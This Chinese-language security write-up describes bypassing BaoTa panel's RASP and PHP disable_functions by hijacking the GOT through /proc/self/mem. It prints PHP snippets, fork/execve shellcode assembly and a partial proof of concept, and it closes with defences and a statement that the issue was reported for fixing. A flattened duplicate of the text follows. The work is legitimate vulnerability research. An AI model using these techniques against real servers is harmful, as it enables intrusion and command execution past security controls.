针对宝塔的RASP及其disable_functions的绕过
字数 1064 2025-08-19 12:40:57

宝塔RASP及disable_functions绕过技术分析


一、实验环境

  1. 宝塔面板配置:
    • 开启防跨站攻击(open_basedir限制)
    • 启用堡塔PHP安全防护(RASP)
    • 启用堡塔防提权模块
  2. 目标:
    • 突破disable_functions限制
    • 绕过RASP对www权限的命令执行拦截

二、技术背景

  1. RASP(运行时应用自我保护)
    • 拦截所有www用户的命令执行(如system()su www等)。
    • 通过底层兼容机制避免PHP崩溃。
  2. disable_functions
    • 宝塔维护了最严格的禁用函数列表,需绕过才能执行任意命令。

三、绕过disable_functions:GOT表劫持

1. GOT/PLT表原理
  • PLT(过程链接表):保存跳转到GOT的指令。
  • GOT(全局偏移表):存储函数实际地址,动态链接时填充。
  • 劫持思路:修改GOT表中目标函数(如open)的地址,指向恶意代码。
2. 实现步骤
  1. 解析ELF文件

    • 通过/proc/self/exe获取当前PHP进程的ELF信息。
    • 提取PLTGOT表偏移(关键代码见elf类)。
    $test = new elf();
    $test->get_section('/proc/self/exe');
    $test->get_reloc();
    $open_php = $test->rel_plts['open']; // 获取open函数的GOT偏移
    
  2. 定位内存布局

    • 读取/proc/self/maps获取栈地址和PIE基址。
    $maps = file_get_contents('/proc/self/maps');
    preg_match('/(\w+)-(\w+)\s+.+\[stack]/', $maps, $stack);
    $pie_base = hexdec("0x".(explode('-', $maps)[0]));
    
  3. 修改GOT表

    • 通过/proc/self/mem写入恶意地址到GOT表。
    $mem = fopen('/proc/self/mem', 'wb');
    fseek($mem, $open_php);
    fwrite($mem, $test->packlli($shellcode_loc)); // 将open指向shellcode
    

四、绕过RASP:Shellcode注入

1. 绕过策略
  • 不依赖system:直接注入Shellcode执行提权操作,避免触发RASP的命令拦截。
  • 独立进程:通过fork+execve创建脱离终端的新进程。
2. Shellcode设计
  • 关键汇编
    push 0x39       ; fork系统调用
    pop eax
    syscall
    test eax, eax   ; 判断子进程
    jne exit
    mov rdi, [filename_ptr] ; 设置execve参数
    mov rsi, [argv_ptr]
    xor edx, edx
    push 0x3b       ; execve系统调用
    pop eax
    syscall
    
  • 写入内存
    $shellcode = "\x68\x39\x00\x00\x00..."; // 编译后的机器码
    fseek($mem, $shellcode_loc);
    fwrite($mem, $shellcode);
    
3. 触发执行
  • 调用任意文件操作函数(如readfile)触发open的GOT跳转:
    readfile('dummy', 'r'); // 触发shellcode
    

五、调试技巧

  1. GDB断点
    • 在Shellcode入口下断点:break *0x[shellcode_loc]
  2. 内存检查
    • 使用/proc/self/maps验证内存权限和布局。

六、防御与修复

  1. 宝塔修复方案
    • 限制/proc/self/mem的写入权限。
    • 监控GOT表修改行为。
  2. 通用防御
    • 启用ASLR(地址空间随机化)。
    • 禁用不必要的/proc文件访问。

七、完整POC(关键部分)

// 解析ELF获取GOT偏移
$test = new elf();
$test->get_section('/proc/self/exe');
$test->get_reloc();
$open_php = $test->rel_plts['open'];

// 修改GOT表指向shellcode
$mem = fopen('/proc/self/mem', 'wb');
fseek($mem, $open_php);
fwrite($mem, $test->packlli($shellcode_loc));

// 写入Shellcode
$shellcode = "\x68\x39\x00..."; // 实际机器码
fseek($mem, $shellcode_loc);
fwrite($mem, $shellcode);

// 触发执行
readfile('trigger', 'r');

八、参考资源

  1. ELF文件格式详解
  2. Linux系统调用表(x86_64)
  3. /proc/self/mem利用技术

:本文仅用于技术研究,实际利用已提交宝塔官方修复。

宝塔RASP及disable_ functions绕过技术分析 一、实验环境 宝塔面板配置: 开启防跨站攻击(open_ basedir限制) 启用堡塔PHP安全防护(RASP) 启用堡塔防提权模块 目标: 突破 disable_functions 限制 绕过RASP对 www 权限的命令执行拦截 二、技术背景 RASP(运行时应用自我保护) : 拦截所有 www 用户的命令执行(如 system() 、 su www 等)。 通过底层兼容机制避免PHP崩溃。 disable_ functions : 宝塔维护了最严格的禁用函数列表,需绕过才能执行任意命令。 三、绕过disable_ functions:GOT表劫持 1. GOT/PLT表原理 PLT(过程链接表) :保存跳转到GOT的指令。 GOT(全局偏移表) :存储函数实际地址,动态链接时填充。 劫持思路 :修改GOT表中目标函数(如 open )的地址,指向恶意代码。 2. 实现步骤 解析ELF文件 : 通过 /proc/self/exe 获取当前PHP进程的ELF信息。 提取 PLT 和 GOT 表偏移(关键代码见 elf 类)。 定位内存布局 : 读取 /proc/self/maps 获取栈地址和PIE基址。 修改GOT表 : 通过 /proc/self/mem 写入恶意地址到GOT表。 四、绕过RASP:Shellcode注入 1. 绕过策略 不依赖 system :直接注入Shellcode执行提权操作,避免触发RASP的命令拦截。 独立进程 :通过 fork + execve 创建脱离终端的新进程。 2. Shellcode设计 关键汇编 : 写入内存 : 3. 触发执行 调用任意文件操作函数(如 readfile )触发 open 的GOT跳转: 五、调试技巧 GDB断点 : 在Shellcode入口下断点: break *0x[shellcode_loc] 。 内存检查 : 使用 /proc/self/maps 验证内存权限和布局。 六、防御与修复 宝塔修复方案 : 限制 /proc/self/mem 的写入权限。 监控GOT表修改行为。 通用防御 : 启用ASLR(地址空间随机化)。 禁用不必要的 /proc 文件访问。 七、完整POC(关键部分) 八、参考资源 ELF文件格式详解 Linux系统调用表(x86_ 64) /proc/self/mem 利用技术 注 :本文仅用于技术研究,实际利用已提交宝塔官方修复。